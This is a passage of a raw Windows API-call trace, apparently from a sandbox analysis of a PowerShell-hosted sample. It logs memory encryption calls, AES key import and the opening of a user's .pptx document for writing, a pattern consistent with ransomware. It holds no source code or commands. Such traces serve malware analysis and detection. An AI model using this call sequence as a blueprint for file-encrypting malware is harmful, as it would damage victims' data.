returned 0x10 [0227.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0227.524] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.524] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0227.524] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0227.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0227.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0227.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0227.525] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.525] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0227.525] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0227.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0227.525] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.525] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0227.525] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0227.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0227.637] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.637] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0227.637] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.637] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0227.637] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0227.637] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.638] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0227.638] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.638] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0227.638] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0227.638] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.638] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0227.638] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.638] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0227.638] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0227.639] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.639] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0227.639] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.639] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0227.639] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0227.639] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.639] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0227.639] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0227.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0227.640] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.640] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0227.640] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.640] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0227.641] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0227.641] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0227.641] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0227.641] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.642] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0227.642] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.642] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0227.642] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0227.642] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.642] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0227.642] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.642] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0227.642] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0227.642] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.643] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0227.643] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.643] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0227.643] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0227.643] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.643] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0227.643] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.643] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0227.643] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0227.643] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.644] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0227.644] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.644] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0227.644] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0227.644] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.644] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0227.644] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.644] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0227.644] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0227.645] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.645] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0227.645] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.645] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0227.645] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0227.645] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.645] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0227.645] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.645] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0227.646] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0227.646] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0227.646] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0227.646] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.647] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0227.647] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.647] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0227.647] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0227.647] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.647] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0227.647] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.647] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0227.647] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0227.647] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.647] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0227.647] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.647] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0227.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0227.648] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.648] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0227.648] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0227.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0227.648] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.648] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0227.648] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0227.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0227.648] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.648] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0227.648] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.649] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0227.649] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0227.649] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.649] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0227.649] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.649] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0227.649] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0227.649] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.649] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0227.649] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.649] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0227.650] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0227.650] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0227.650] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0227.650] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0227.650] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0227.650] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0227.650] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0227.650] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0227.650] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0227.650] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0227.650] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0227.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0227.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0227.651] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0227.651] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0227.651] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0227.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0227.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0227.651] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0227.651] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0227.651] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0227.651] EtwEventActivityIdControl () returned 0x0 [0227.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0227.652] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0227.652] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0227.652] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0227.653] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d3a8) returned 1 [0227.655] CryptImportKey (in: hProv=0x5c4d3a8, pbData=0x23c3360*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99960) returned 1 [0227.655] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0227.655] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.656] EtwEventActivityIdControl () returned 0x0 [0227.656] EtwEventActivityIdControl () returned 0x0 [0227.656] EtwEventActivityIdControl () returned 0x0 [0227.661] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx")) returned 0x20 [0227.662] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx")) returned 0x20 [0227.663] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0227.663] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", lpFilePart=0x0) returned 0x32 [0227.663] EtwEventActivityIdControl () returned 0x0 [0227.663] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.664] EtwEventActivityIdControl () returned 0x0 [0227.664] EtwEventActivityIdControl () returned 0x0 [0227.664] EtwEventActivityIdControl () returned 0x0 [0227.665] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0227.665] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", lpFilePart=0x0) returned 0x32 [0227.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0227.665] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0227.665] GetFileType (hFile=0x454) returned 0x1 [0227.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0227.666] GetFileType (hFile=0x454) returned 0x1 [0227.666] EtwEventActivityIdControl () returned 0x0 [0227.666] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, 